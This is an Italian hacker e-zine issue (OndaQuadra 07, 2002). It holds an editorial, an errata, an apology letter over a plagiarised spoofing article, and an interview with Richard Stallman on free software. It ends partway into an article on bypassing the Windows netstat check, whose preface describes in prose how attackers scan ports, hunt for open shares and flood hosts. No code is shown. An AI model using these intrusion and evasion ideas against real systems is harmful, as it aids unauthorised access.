Copy Link
Add to Bookmark
Report

OndaQuadra 07

eZine's profile picture
Published in 
OndaQuadra
 · 5 years ago

  

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
::::::::::::, .::::::::::::::::::::::::::::::,. .,:::,,.........,:
::::::::,. s@@@@@@#. .:::::, .,:::::::::. ,:. ,, ,.,
::::::, ;@@@@@@@@@@@@@: ,:: ;H@@Ar .::::::, :@@@@@@@, .X@@@@@@@@@@:,
:::::. 2@@@ :@@@@@@@H .:, @@@@@@@@@@: .::::: @@@ @@@ . @@: ,
:::: s@@@2 ,,, #@@@@@@r :,:@@@@@@@@@@@; ,:::. h@@, . @@M ,,. @@M .::
:::, A@@@@ :::::, @@@@@@@ :, #@@@@@@@@ ::, i@@r .. i@@; ,. @@@. ,:::
::: @@@@@ ,:::::. 5@@@@@2 :::, S@@@@@@@@@: ,:, M@@ . @@M :@@X ,:::::
::: i@@@@@G ,::::. r@@@@r .::: @@@@@@@@@@@ ,, @@@ @@@ @@@ .:::::::
::: i@@@@@@A @@@@ .::, h@@@@@@@@@@@; i@@@&@@@s :@@@i ,::::::::
::: @@@@@@@@@3;.i@@@S ,::. r@@@@@@@@@@@@@@H ;s; .,;;. .::::::::::
:::, .@@@@@@@@@@@@@: ,::, @@@@@@@@@@@@@@@@@@@G .,::,....,:::::::::::
::::, 9@@@@@@i .::::: @@@@@@@@@@@@@@@@@@@@@@@S ,:::::::::::::::::::::
:::::,. .,::::, &@@@@@@@@@@@@@@@@@@@@@@@@H .::::::::::::::::::::
::::::::. ,:. @@@@@@@@@@@@@@@@@@@@@@@@@@@; ,::::::::::::::::::
:::::, :@@@@@@@@@@@; .. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .:::::::::::::::::
:::, M@@s ,@@@@@@@@2 . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r .::::::::::::::::
::. @@@# .. @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@; ,:::::::::::::::
:, ,@@@@ :::::. @@@@@@i , &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ :::::::::::::::
: @@@@2 ,::::::. r@@@@@r :, G@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::::::::::::::
: S@@@@A ::::::: @@@@@ .:::. @@@@@@@@@@@@@@@@@@@@@@@@@H,A,,::::::::::::::
: H@@@@@; ,,,, 5@@@H ,:::: @@@@@@@@@@@@@@@@@@@@@@@@@@S ,::::::::::::::
: S@@@@@@@. H@@# ,:::::. @@@@@@@@@@@@@@@@@@@@@@@@@@@. :::::::::::::::
:. #@@@@@@@@@@@@@@& ,:::::::, @@@@@@@@@@@@@@@@@@@@@@@@@@@2 :::::::::::::::
:, &@@@@@@@@@H ,:::::,. M@@r2@@:@@@@@@@@@@@@@@@@@@@; :::::::::::::::
:::, A@: .,,,.2&22@@@@, A@@@@@@@@@@@@@@@@@@ :::::::::::::::
:::, .s@@@@@@@@@@@@A: s2@@@HA@@2B@M@@ A@@@@@@@@@@@@@@@ .::::::::::::::
:::,;@@@@@@@@@@@@@@@@@@@@h, ;@@@rs@@@@@@@@@@@@@@ .:::::::::::::
:::, ,3@@@@@@@@@@@@@@@@2. .@@@@@@@@@@@@@@@G :::::,. ,::
:::::::::,,. r@@@@@@@@@@@@@@@@@h; ,S#@@@@@@@@@@@r ,. 2@3,::
:::::::::::::::,. ;#@@@@@@@@@@@@@@@@@i. &@@@@@@; :H@@@@S ,::
::::::::::::::::::::,. .5@@@@@@@@@@@@@@@@@@Ai: :@@@@@@@; ,:::
:::::::::::::::::::::::::,. :G@@@@@@@@@@@@@@@@@@@@@@@@A: .,::::::
:::::::::::::::::::::::::::::::,. ... .,,::::::::::
::::::::::::::::::::::::::::::::::::::,,.. ..,,:::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

+--------------------------------------------------------------------------+
| ONDAQUADRA #07 - 01/08/2002 |
+--------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+--------------------------------------------------------------------------+
| http://www.ondaquadra.org |
| mail@ondaquadra.org ~ articoli@ondaquadra.org |
+--------------------------------------------------------------------------+

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| LEGAL DISCLAIMER |
+--------------------------------------------------------------------------+
| |
| Nessuna persona dello staff di OndaQuadra si assume responsibilita' |
| per l'uso improprio dell'utilizzo dei testi e dei programmi presenti |
| nella e-zine, ne' per danni a terzi derivanti da esso. |
| OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni |
| effettuate con la legge 23 dicembre 1993, n.547 ed in particolare |
| agli artt. 615-quater- e 615-quinques-. |
| Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come |
| avvengono le tecniche di intrusione al fine di far comprendere come |
| sia possibile difendersi da esse, rendere piu' sicura la propria box e |
| in generale approfondire le proprie conoscenze in campo informatico. |
| I programmi allegati sono semplici esempi di programmazione che hanno |
| il solo scopo di permettere una migliore comprensione di quanto |
| discusso e spiegato nei testi. |
| Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, |
| n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex |
| art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge |
| 8 febbraio 1948, n.47. |
| |
+--------------------------------------------------------------------------+

<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
+--------------------------------------------------------------------------+
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Articolo 21 |
| Tutti hanno diritto di manifestare liberamente il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+--------------------------------------------------------------------------+

<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| INDICE |
+--------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 EDiT0RiALE ................................................[JEYoNE] |
| 0x02 ERRATA C0RRiGE ........................................... [JEYoNE] |
| 0x03 LETTERA .............................................. [CityHunter] |
| 0x04 iNTERViSTA A RiCHARD STALLMAN ......................... [Cornelius] |
+--------------------------------------------------------------------------+
| [HACKiNG] |
| 0x05 N0_NETSTAT=> BYPASSARE iL NETSTAT CHECK ................. [SNHYPER] |
| 0x06 PASSi SiLENZi0Si NELLA NEVE ............................. [SNHYPER] |
| 0x07 iRC HiJACKiNG .............................................. [E4zy] |
| 0x08 HACK CRYPTOGRAPHiC TUNNELS ................................. [E4zy] |
+--------------------------------------------------------------------------+
| [LiNUX] |
| 0x09 SHELL SCRiPTiNG: BASH .................................... [Domine] |
| 0x0A AWK ...................................................... [Domine] |
| 0x0B GUiDA PRATiCA ALL0 XiNETD ................................. [CiLi0] |
+--------------------------------------------------------------------------+
| [C0DiNG] |
| 0x0C PLUS ..................................................... [Mastro] |
| 0x0D C0RS0 Di C [PARTE SESTA] ........................... [AndreaGeddon] |
| 0x0E USELESS NETBSD M0DULE 2 ................................. [_beb0s_] |
| 0x0F PERL HACKS EXPLAiNED ..................................... [Domine] |
+--------------------------------------------------------------------------+
| [MiSC] |
| 0x10 AGGiUNGiAM0 iL TAST0 MUSiC ............................... [lesion] |
| 0x11 EV0LUZi0NE MUSiC .................................. [JEYoNE_lesion] |
+--------------------------------------------------------------------------+
| [LO SCiAMANO] |
| 0x12 NU0VE iNF0RMAZi0Ni .................................... [MinDBlinD] |
| 0x13 SUi BAR0Ni PRiViLEGiATi E i L0R0 SCUDiERi ............ [il Magnano] |
+--------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0x14 CALC0LARE L'ENTR0PiA Di UN FiLE IN DELPHi ............... [Ippatsu] |
| 0x15 ESTENSi0NE DELL'ALGORiTM0 DI CESARE ......................... [e4m] |
| 0x16 CODiCE iNVERSO: CRiTT0GRAFiA DiGiTALE ............................. |
| AVANZATA PARTE 4 ........................................... [Zer0] |
| 0x17 ASSEMBLY... N0 GRAZiE, N0N FUM0! PARTE 2 .................... [e4m] |
+--------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x18 L'0PERA AL NER0 ....................................... [Tritemius] |
+--------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x19 D0VE TR0VARCi ........................................ [oq ~ staff] |
+--------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 ENTROPiA.ZIP ............................................ [Ippatsu] |
| 0x02 NOiDSSCAN.ZIP ........................................... [SNHYPER] |
| 0x03 SSL.JPG .................................................... [E4zy] |
+--------------------------------------------------------------------------+

+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #07 - 01/08/2002 |
| EDiT0RiALE [JEYoNE] 0x01/0x19 |
+--------------------------------------------------------------------------+
| Cominciamo con un altro viaggio verso il non-si-sa-dove. |
| Il tempo passa, dal primo numero di OndaQuadra sono passati quasi |
| due anni e, a quanto pare, il target di lettori e' aumentato, quasi |
| tanto quanto il target dei collaboratori. |
| L'editoriale, anche se magari non sembra, e' una delle cose piu' |
| difficili da scrivere in una rivista, prima di tutto perche' e' quello |
| che *apre* il nuovo numero, in secondo luogo perche' non ci sono degli |
| argomenti specifici da trattare, quindi non si ha una logica vera e |
| propria. |
| Ok, ovviamente il lettore non e' costretto a leggere l'editoriale, e |
| quindi non ci dovrebbero essere problemi anche se ci si scrivono |
| dentro una marea di stron*ate, ma, come si dice, anche l'occhio vuole |
| la sua parte, e poi che starei qui a fare io, se non per scriverne uno |
| decente? :)) |
| In questo numero appare una novita', l'errata corrige, forse perche' |
| non abbiamo mai fatto errori, molto piu' probabilmente perche' mai |
| nessuno si e' venuto a "lamentare" con noi per degli errori fatti. |
| Rimane il fatto che nello scorso numero gli errori ci sono stati, e |
| non siamo certo noi a nascondere le testa sotto la sabbia piuttosto |
| che affrontare "l'opinione pubblica" :))) |
| Oltre all'errata corrige ci sara' anche una lettera di CityHunter, che |
| servira' a chiarire un paio di cosuccie venute fuori all'hackit02 con |
| i s0ftpj, soprattutto con Raistlin. |
| C'e' una cosa da agiungere, per tutti i lettori che aspettavano |
| impazientemente ISWT. |
| In questo numero non e' presente perche' gli autori hanno avuto |
| problemi, ma nel prossimo numero il progetto continuera'. |
| ISWT non e' morto! |
| Mi sembra inutile dire dell'altro, visto che il numero si presenta |
| molto carico di contenuti, quindi chiudo qui l'editoriale, e vi lascio, |
| come al solito, alla lettura di questo nuovo pezzo di storia. |
| Un saluto, a presto |
| |
| JEYoNE |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #07 - 01/08/2002 |
| ERRATA C0RRiGE [JEYoNE] 0x02/0x19 |
+--------------------------------------------------------------------------+
| Nello scorso numero di OndaQuadra sono stati commessi degli errori, |
| primo di tutti l'attribuire erroneamente ad Alcatraz2100 la "carica" |
| di organizzatore dell'hackmeeting 2001, non e' affatto cosi', c'e' |
| stato un malinteso tra l'autore dell'articolo e la redazione. Chiedo |
| umilmente scusa a tutti i membri del FreakNet :)) |
| -I sorgenti del MOF_SCANNER (allegato 0x05 #06) erano |
| corredati da un'articolo, purtroppo nella fretta ce lo siamo fatto |
| scappare e non e' stato pubblicato,lo troverete in questo numero. |
| Non ci dovrebbe essere nient'altro, se qualuno si accorgesse di |
| qualche altro errore su questo numero o sugli scorsi numeri, non esiti |
| ad inviare una mail a mail@ondaquadra.org. |
| Per eventuali rip invece potete scrivere ad abuse@ondaquadra.org |
| Grazie per la collaborazione e buona lettura! |
| |
| JEYoNE |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #07 - 01/08/2002 |
| LETTERA [CityHunter] 0x03/0x19 |
+--------------------------------------------------------------------------+
| Ahi,Ahi...urge velocemente una spiegazione! |
| Ho saputo che lo staff di OQ si è presa una bella sgridata da parte del |
| Softpj a causa di un mio articolo pubblicato su OQ4. L'articolo in |
| questione era Spoofing & Hijacking se non erro. |
| Il problema dov'è? Il mio articolo è molto simile (sorgente compreso) |
| al progetto OnoSendai di FuSyS apparso su BFI numero 4. Il risultato mi |
| sembra ovvio...OQ è stata cazziata perchè ha inserito un articolo |
| rippato. Inizio col precisare che mi assumo io tutto le responsabilità |
| del caso, OQ non può certo controllare tutti gli art che gli arrivano! |
| A mia discolpa cosa posso dire? Non nego ASSOLUTAMENTE di aver preso |
| spunto dai testi di FuSyS, che ringrazio ancora per i suoi lavori, ma |
| non mi pare di averlo mai negato. Mi pare che in tutto il mio articolo |
| ci sia scritto che ho preso molto da lui e che gli dovevo molto per |
| quello che ho appreso. Credo che anche lui abbia fatto altrettanto con |
| i testi di coder@reptile. Se volete potete considerare |
| il mio testo come un tributo all'opera di FuSyS. L'ho studiato a fondo |
| e quello che ho scritto è ciò che ho imparato. |
| Nulla di più, nulla di meno. Il sorgente. Idem con patate. Avrei potuto |
| prendere spoofit.h e creare da lì il programma e forse nessuno avrebbe |
| detto nulla. Invece ho riseguito pari pari il sorgente di FuSyS anche |
| per impararlo meglio io stesso. Mentre scrivevo imparavo. Chiedo scusa |
| se ho esagerato nell'emulare FuSyS, non era mia intenzione farlo |
| con lo scopo di prendere meriti non miei. Anche se ribadisco di averlo |
| detto più volte che prendevo da lui ciò che sapevo. |
| Concludo chiedendo nuovamente scusa a tutto il Softpj, a OQ, e a FuSyS |
| in particolare. Non credevo davvero di fare qualcosa di male. Sperando |
| di poterci mettere una pieta sopra, |
| salut |
| |
| CityHunter |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #07 - 01/08/2002 |
| iNTERViSTA A RiCHARD STALLMAN [Cornelius] 0x04/0x19 |
+--------------------------------------------------------------------------+
| F3COD&FUN - Una settimana con Richard M. Stallman: |
| - Sintesi di un sogno annunciato - |
| |
| a cura di Cornelius |
| |
| La prima edizione del meeting "F3COD&FUN" sulle tecnologie Open e |
| Free Software si e' tenuto dal 15 al 16 giugno scorso. Vedere |
| l'e-zine nr. 6. E come prima edizione, dopo sforzi sovrumani per |
| l'organizzazione e la reperibilita' di fondi economici sono rius- |
| cito (con l'aiuto di vari hackers) a fare qualcosa di concreta- |
| mente bello: "mostrare al pubblico che esistono alternative ai |
| monopoli del software che offrono liberta' alla gente"
. Ma non |
| voglio parlare di politica e/o filosofia del Free Software, ma |
| piuttosto della settimana in cui ho avuto l'onore di stare in- |
| sieme al leggendario hacker Richard M. Stallman, il mitico fonda- |
| tore del progetto GNU e della Free Software Foundation. |
| |
| Sono stato e sono tuttora un grande ammiratore di RMS e ho sempre |
| desiderato conoscerlo, ma non avrei mai immaginato di passare ad- |
| dirittura una settimana intera con lui ed avere l'occasione unica |
| di parlare, scherzare, mangiare e condividere tante esperienze |
| culturali. |
| |
| Nella settimana in cui sono stato con RMS, ho avuto modo di ap- |
| prezzare tante qualita' e dettagli dell'originale personalita' di |
| RMS, una personalita' tutta spinta verso l'affermazione delle |
| liberta'. Ho notato che RMS e' molto preciso e chiaro nello sp- |
| iegare i concetti che si nascondono dietro al progetto GNU e |
| all'ideologia del Free Software. Oserei dire che RMS si esprime |
| con le stesse rigorose regole semantiche e sintattiche di un lin- |
| guaggio di alto livello come il C. |
| |
| |
| cornelius |
| |
| Richard noto spesso che molte persone e spesso anche i programma- |
| tori fanno confusione a riguardo dell'Open Source e del Free |
| Software, pensando che siano la stessa cosa. |
| |
| RMS |
| |
| Si hai ragione. E' proprio cosi'. Questo e' anche colpa dei mass |
| media che pubblicizzano i fatti in modo distorto. E' la stessa |
| cosa capitata al sistema operativo free GNU/Linux dove moltissime |
| persone non comprendono che il nome Linux indica solamente il |
| kernel del sistema operativo, mentre tutto quanto c'e' intorno ad |
| esso viene dal progetto GNU. Per questo motivo e' importante |
| specificare GNU/Linux. La stessa cosa e' successa a riguardo del |
| concetto di Open Source che indica semplicemnete una metodologia |
| di sviluppo software aperta dove ognuno puo' guardare dentro al |
| programma per capire come e' fatto, guardare cioe' i suoi sorgen- |
| ti. Nell'Open Source non si parla di liberta', ma solo di un |
| metodo per sviluppare software migliore. Nel concetto di Free |
| Software invece noi indichiamo una ideologia, una filosofia che |
| pone le basi per la difesa e la tutela di tutte le liberta' |
| sull'uso del software attraverso la licenza GPL. Il Free Soft- |
| ware e' una ideologia politica che pone in primo piano gli aspet- |
| ti di liberta' del software e mette in evidenza i pericoli del |
| software proprietario, mentre l'Open Source rappresenta solo una |
| metodologia di sviluppo software che non si pone per nulla il |
| problema delle liberta'. Infatti ci sono in giro molti software |
| proprietari che sono Open Source. |
| |
| cornelius |
| |
| Al meeting F3COD&FUN abbiamo cercato di far conoscere in qualche |
| modo al grande pubblico i concetti filosofici del Free Software, |
| ma molti di loro ancora non comprendono cosa significhi realmente |
| essere liberi. |
| |
| RMS |
| |
| Si e' vero. Molte persone non comprendono quanto sia importante |
| la liberta' individuale e intellettuale. Oggi stiamo entrando in |
| un tempo nel quale le pseudo-liberta offerte dalle grandi compag- |
| nie di software stanno creando una situazione nella quale la lib- |
| erta che uno puo avere dipende totalmente dalla quantita' di denaro |
| che possiedi. Tu hai ancora la possibilita' di avere la libert to- |
| tale, ma quanta tu ne possa realmente avere dipende da quanto tu |
| sia ricco. E' uno scenario veramente spaventoso. Sono impegnato a |
| dire queste cose alla gente per avvisarle dei pericoli che cor- |
| rono. La gente deve stare attenta altrimenti rischia di perdere |
| ogni liberta' nell'usare Internet e i loro computer. |
| |
| cornelius |
| |
| il tuo punto di vista e' chiaro, ma alcuni programmatori e le |
| stesse compagnie di software rimproverano spesso al movimento del |
| Free Software che questa ideologia non permette di fare soldi con |
| il software. |
| |
| RMS |
| |
| Quando si parla di software libero intendiamo porre l'attenzione |
| sulla liberta' e non sul prezzo. Noi diciamo sempre che Free non |
| significa gratis, ma libero da ogni forma di controllo e re- |
| strizione. Quindi questo non vuol dire che stiamo dicendo che |
| nessuno deve mai pagare per avere una copia. Diciamo che una vol- |
| ta che uno ha una copia del software che preferisce, deve essere |
| libero di cambiare quel software, ridistribuirlo, farne versioni |
| migliorate e pubblicarle. E questo comprende anche la liberta' |
| di vendere quando si ridistribuisce un software free. In realta' |
| vendere copie di software libero e' molto importante perche' e' |
| un modo per fare soldi e contribuisce nel creare fondi per |
| sviluppare nuovo software libero. Ed e' quello che noi facciamo |
| alla Free Software Foundation vendendo copie di CD-ROM pieni di |
| software libero. Spesso si fraintende il giusto compenso in |
| denaro per un software con gli introiti miliardari che le grandi |
| compagnie vorrebbero realizzare vendendo software che potrebbe |
| costare molto meno. |
| |
| cornelius |
| |
| Quindi anche voi alla Free Software Foundation applicate gli |
| stessi principi ideologici per il vostro sostentamento economico. |
| |
| RMS |
| |
| Si e' proprio cosi'. La Free Software Foundation e' un ente di |
| beneficenza ufficialmente riconosciuto negli USA. E' come una |
| scuola o un ospedale, ossia la gente puo' farci una donazione e |
| poi dedurla dalle tasse. Ma la maniera principale in cui noi rac- |
| cogliamo soldi e' vendere copie di software libero, e manuali. |
| Il testo del manuale nella versione computerizzata e' disponibile |
| sulla rete o sul nostro CD-ROM. Quindi si puo' scaricare il testo |
| di un manuale, farne una copia modificato e poi venderla. La Free |
| Software Foundation vende copie di cose che chiunque puo' copiare |
| e chiunque puo' vendere. E in questo modo guadagnamo abbastanza |
| denaro per pagare il personale che lavora alla FSF. Quindi se |
| tu conosci persone che vendono copie di software libero dovresti |
| spingerli e incoraggiarli perche' piu' soldi guadagnamo per lo |
| sviluppo di software, piu' software libero avremo in futuro. |
| |
| cornelius |
| |
| ritorniamo alla modalita' di sviluppo del software libero. Molti |
| programmatori temono che sviluppando software libero le loro idee |
| e i loro sforzi possano in qualche modo essere raccolti (e fatti |
| propri) da altri programmatori che potrebbero rivendere in |
| modalita' proprietaria arricchendosi in modo disonesto. |
| |
| RMS |
| |
| E' proprio per questo motivo che abbiamo sviluppato la licenza |
| GPL per il software libero. La licenza GPL tutela gli utenti ed i |
| programmatori dalla possibilita' di inserimento di restrizioni |
| nelle liberta'. Ogni persona che ottiene una copia del nostro |
| software ottiene anche le liberta' di cui ho parlato prima. Il |
| modo in cui ci riusciamo e' attraverso una tecnica che si chiama |
| copyleft, che e' il contrario di copyright. L'idea del copyleft |
| e' che noi diciamo che ognuno ha il permesso di modificare un |
| certo programma, ha il permesso di distribuirlo, ha il permesso |
| di pubblicarne una versione perfezionata. Ma ogni volta che dis- |
| tribuisce quel programma dovra' usare esattamente i termini della |
| GPL senza cambiamenti, cosicche' chiunque voglia una copia di |
| quel software otterra' anche le stesse liberta'originali. Se noi |
| rendessimo il software di dominio pubblico, allora permetteremmo |
| alle varie societa'poco scrupolose che fanno software non libero |
| di prendere i nostri programmi e farne versioni modificate e di |
| distribuirle come software proprietario senza alcuna liberta'. E |
| in questo modo ci sarebbero persone che usano il nostro software |
| senza alcuna liberta'. E questo significherebbe un fallimento per |
| il nostro progetto, perche' il nostro scopo e' dare la liberta' |
| alla gente nell'uso e nello sviluppo di software. Quindi con il |
| copyleft ci assicuriamo che ognuno abbia la liberta'. La GNU |
| General License e' il termine legale specifico per copyleft, |
| quello che usiamo per la maggior parte dei programmi. E' impor- |
| tante spiegare che il copyleft e' giuridicamente basato sul copy- |
| right. E' per questo che possiamo farlo valere. Se qualcuno viola |
| il nostro copyleft distribuendo versioni senza il codice sorgente |
| o aggiungendovi restrizioni, viola le leggi del copyright con- |
| tenute nel nostro copyleft e possiamo fargli causa. Se qualcuno |
| o qualche compagnia fa una cosa simile col nostro software, gli |
| mandiamo una lettera e la smette. Non vogliono un processo. Sem- |
| plicemente la smettono, e cominciano a rispettare le condizioni e |
| la gente riavra' le sue liberta'. |
| |
| cornelius |
| |
| Molti osservatori di mercato iniziano ad obiettare sulle |
| metodologie di assistenza da applicare in azienda, affermando che |
| il Free Software non offre delle buone garanzie nei casi di mal- |
| funzionamento. |
| |
| RMS |
| |
| Il Free Software risolve questo tipo di problema molto meglio |
| di quanto avviene nel mondo del software commerciale o propri- |
| etario. Nel software proprietario, non si ha nessuna idea di cio' |
| che c'e' dentro e non hai nessun modo di scoprirlo. Devi soltanto |
| sperare e fidarti che non ci sia nulla di pericoloso in quel pro- |
| gramma. E ci potrebbe essere qualcosa di veramente pericoloso. In |
| effetti succede spesso. Ci sono compagnie che mettono nel soft- |
| ware routine che forniscono informazioni personali su di te. Mi- |
| crosoft ha messo routine nei suoi software che la informano di |
| tutto quello che un utente ha installato nel proprio computer. |
| Questo e' inammissibile. Alcune compagnie potrebbero vendere |
| software proprietario che contiene qualcosa di pericoloso e tu |
| potresti non saperlo mai. Anche con il software libero qualche |
| programmatore potrebbe inserire qualcosa di pericoloso in un pro- |
| gramma libero, ma con il software libero e' sempre disponibile |
| il suo codice sorgente e qualcun'altro potrebbe leggerlo e dire: |
| "Che ci fa qui questo codice? E subito invierebbe su internet la |
| notizia. Il software libero ha un grande vantaggio perche' molti |
| dei suoi utenti sono programmatori e sono costantemente alla |
| ricerca di errori e che sono pronti a risolvere. La Microsoft ad |
| esempio non ha questi aiuti. E quindi se c'e' un difetto in un |
| programma Microsoft, molto probabilmente passerrano sei mesi o un |
| anno prima che lo eliminino. In effetti uno degli aspetti del sis- |
| tema informatico che interessa alla gente e' la sua sicurezza. E |
| naturalmente ogni sistema operativo ha ogni tanto qualche difetto |
| che ne compromette la sicurezza. Ma possiamo dire che nei sistemi |
| operativi liberi questi difetti vengono eliminati molto rapida- |
| mente. Il difetto viene segnalato e in genere viene mandata una |
| patch sulla rete cosicche' chiunque puo' installarsela. Mentre chi |
| ha un sistema operativo proprietario di solito deve aspettare mesi |
| se non anni. E nel frattempo, se uno e' preoccupato per la si- |
| curezza ha un bel problema. Per cui il problema dell'assistenza |
| in azienda e' solo un problema del software proprietario. |
| |
| cornelius |
| |
| Sembra che attualmente la situazione del controllo del proprio |
| computer da parte delle aziende di monopolio stia peggiorando. Si |
| parla addirittura di dispositivi di protezione del software in- |
| stallatti direttamente nei chip del computer. |
| |
| RMS |
| |
| Le compagnie del copyright, stanno portando avanti una lotta per |
| cambiare le leggi in tutti i paesi in modo da avere piu' potere |
| per controllare quello che fai e quello che fanno tutti. Questa e' |
| la loro attivita' principale al posto di fare software migliore. |
| Quindi per esempio vogliono rendere illegale il fatto che tu pos- |
| sa permettere ad un tuo amico di vedere iltuo computer e magari |
| leggere un libro che tu hai sul computer. Anche se il libro l'hai |
| avuto legalmente e sta sul tuo computer legalmente, loro |
| vogliono rendere illegale il fatto che il tuo amico lo legga. E se |
| il tuo amico vuole comunicare in rete e' ancora peggio! Loro |
| vogliono dire che, se lui manda il libro attraverso la rete - per |
| metterlo semplicemente sul suo schermo in modo da poterlo vedere e |
| leggere, anche solo temporaneamente - vogliono rendere questo il- |
| legale. Quando tu leggi qualcosa si forma temporaneamente una |
| copia sulla retina del tuo occhio, la prossima volta diranno che |
| e' una violazione del copyright fare una copia sulla retina e che |
| quindi ci vuole un permesso per leggere il libro. In Unione So- |
| vietica ogni copista aveva un sorvegliante il cui compito era di |
| osservare cosa veniva copiato e assicurarsi che nessuno facesse |
| copie illegali, perche' prevenirele copie illegali era una delle |
| priorita' del governo sovietico. Ora l'industria del copyright |
| vuole fare lo stesso, con la differenza che vogliono farlo con |
| sorveglianti computerizzati, sorveglianti robot. Quindi vogliono |
| assicurarsi che all'interno del tuo computer sia necessario un- |
| software speciale che garantisca che tu non fai copie illegali. E |
| sara' illegale eliminare questo robot sorvegliante dal tuo com- |
| puter. Quindi cercano di interferire nella tua vita in un modo |
| molto piu' diretto e seccante di quanto non abbiano mai fatto pri- |
| ma. Aziende come Microsoft vogliono avere tutto il denaro che pos- |
| sano desiderare, per questo motivo cercano di cambiare le leggi |
| in Italia e in altri paesi. E' un diritto fondamentale dell'uomo |
| aiutare il proprio amico. Non e' solo il diritto di fare qualcosa |
| che e' giusto per se' stessi, il diritto di avere una sufficiente |
| alimentazione, un alloggio dove vivere, la liberta' di parola e |
| la liberta' di stampa: questi sono diritti importanti. La liber- |
| ta' di condividere l'informazione e' un'altro diritto fondamen- |
| tale che tutti dovrebbero avere. Ma non lo otterremo se non lot- |
| teremo per questo, perche' i detentori dell'informazioe non |
| vogliono che ce l'abbiamo. |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #07 - 01/08/2002 |
| N0_NETSTAT=> BYPASSARE iL NETSTAT CHECK [SNHYPER] 0x05/0x19 |
+--------------------------------------------------------------------------+
| aeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaea |
| aeaeaea aeaeaea |
| !!!!!!! Come ti frego il tipo del netstat !!!!!!! |
| !!!!!!! con 70 linee di sano C !!!!!!! |
| !!!!!!! ..::SNHYPER::.. !!!!!!! |
| aeaeaea snhyper@hotmail.com aeaeaea |
| aeaeaeaaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaea |
| |
| /* disclaimer */ |
| |
| L'articolo vuole essere un avvertimento per tutti coloro i quali |
| vogliono / devono usare il carissimo OS Windoze e con esso tentano |
| di promuovere la sicurezza informatica. |
| Non vuole essere un incitamento al compiere azioni di |
| intrusione o azioni moleste su computer altrui. |
| L'autore, non credendo nel *Security trough Obscurity* promulgato |
| da diverse compagnie commerciali di diverso livello, parlera' in |
| in modo abbastanza chiaro del problema in oggetto,non assumendosi |
| non assumendosi nessuna responsabilita' in caso di abuso del tale. |
| |
| |
| |
| /* prefazio */ |
| |
| Ora, non che Windoze, come OS da casa per chattare con |
| gli amici o per guardarsi i porno sul web, non sia un OS sicuro... |
| almeno, sicuro dai classici script kiddye.. ma non da tutti.. |
| |
| Noi tutti sappiamo come un sistema che non ha rapporti di fiducia con |
| altri host su di una rete, o che ancor peggio non stia neanche su una |
| rete e quindi non implementi servizi di accesso e vari che potrebbero |
| essere sfruttati per i piu' disparati casi (a seconda della mente |
| dell'attacker) , sia molto difficile da attaccare in modo diretto.. |
| |
| Ovvero, se un attacker trovasse un host di cui un portscan avesse |
| evidenziato come aperte le classiche porte 135-139 ( per il bind() |
| del tcp/ip - netbios ), il passo seguente che detto attacker si |
| presterebbe a compiere sarebbe la classica ricerca di risorse |
| condivise, possibilmente senza password ( 75% dei casi ). |
| Ma se detto attacker non riscontrasse nessuna risorsa condivisa, |
| quindi le porte 135-139 risulterebbero essere solo dovute ad un |
| bind() del netbios dimenticato o trascurato...., sarebbe finito |
| qui l'attacco diretto. |
| |
| Oddio.. ci sono molti birbaccioni che dedicano giornate a floodare |
| quella porta di syn o icmp spoofati,nukando a tutto spiano (smurfando |
| per i birbaccioni piu' smaliziati..) sperando che al *nuovo nemico* |
| cada la connessione... |
| Dimostrazione, IMHO, di come una tanto sperata ed agoniata risorsa |
| condivisa, in questo caso non trovata,possa ferire a tal punto |
| l'orgoglio dell' *attacker della domenica* dal trasformarlo nel |
| flooder del secolo intento ad aprire piu' sessioni del mitico click |
| per bombardare l'ignaro utente windoziano che si chiede come mai |
| le foto porno di Wanna Marchi che fa *fist-fucking* con il maestro |
| Do Nascimiento siano cosi' lente da scaricare.... |
| |
| Ma esistono diverse branche di attacker, come sappiamo. |
| |
| Qualcun'altro provera' metodi di attacco indiretti, che sono i |
